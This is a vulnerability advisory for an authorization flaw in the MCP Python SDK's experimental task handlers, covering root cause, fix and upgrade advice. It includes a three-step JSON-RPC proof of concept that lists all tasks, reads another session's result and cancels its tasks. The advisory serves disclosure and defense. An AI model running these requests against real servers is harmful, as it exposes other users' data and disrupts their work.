CVE-2026-52870: mcp (Python SDK) Missing Authorization on Experimental Task Handlers
When a multi-client MCP server enables the experimental tasks feature, any connected client can list, read, and cancel tasks that belong to other clients, including intercepting sensitive elicitation
The problem
MCP Python SDK versions 1.23.0 through 1.27.1 register default handlers for `tasks/list`, `tasks/get`, `tasks/result`, and `tasks/cancel` when a server calls `server.experimental.enable_tasks()`. None of these handlers checked which session originally created a task.
Because `tasks/list` returned every task in the global store, an attacker-controlled client could enumerate all task IDs without knowing them in advance, then use those IDs to read results, drain queued elicitation messages (removing them before the legitimate owner receives them), and cancel any in-flight task.
The issue only affects servers that call `enable_tasks()` and accept more than one concurrent client.
Proof of concept
A working proof-of-concept for CVE-2026-52870 in mcp, with the exact payload below.
# Step 1: enumerate all tasks on the server (no session filter in affected versions)
{
"jsonrpc": "2.0",
"id": 1,
"method": "tasks/list",
"params": {}
}
# Step 2: read another session's task result using an ID from the list above
{
"jsonrpc": "2.0",
"id": 2,
"method": "tasks/result",
"params": { "id": "<task_id_from_step_1>" }
}
# Step 3: cancel another session's task
{
"jsonrpc": "2.0",
"id": 3,
"method": "tasks/cancel",
"params": { "id": "<task_id_from_step_1>" }
}The root cause is CWE-862 (Missing Authorization). The handlers stored tasks in a flat, server-wide store keyed only by task ID. Nothing in the `tasks/list`, `tasks/get`, `tasks/result`, or `tasks/cancel` request paths compared the requesting session's identity against the session that called `run_task()`.
PR #2720 ("Scope experimental tasks to the session that created them") fixed this by embedding an opaque per-session marker inside every task ID generated by `run_task()`. The default handlers now extract that marker and reject requests where it does not match the current session, returning a "task not found" error. `tasks/list` was also narrowed to return only the tasks owned by the requesting session.
The fix
Upgrade to mcp 1.27.2 or later (`pip install --upgrade mcp`). If you cannot upgrade immediately, either avoid calling `server.experimental.enable_tasks()` or replace the default handlers with custom ones that enforce session ownership. Servers that never call `enable_tasks()` are not affected.
Reported by Max Isbey (maxisbey).
Related research
- highCVE-2026-59950CVE-2026-59950: mcp WebSocket Transport Missing Origin Validation
- high · 7.1CVE-2026-52869CVE-2026-52869: mcp (Python SDK) Session Authorization Bypass
- high · 8.1CVE-2026-49291CVE-2026-49291: mcp-memory-service Missing Authorization on MCP tools/call
- criticalCVE-2026-48797CVE-2026-48797: backpropagate Authentication Bypass on UI Training Control Plane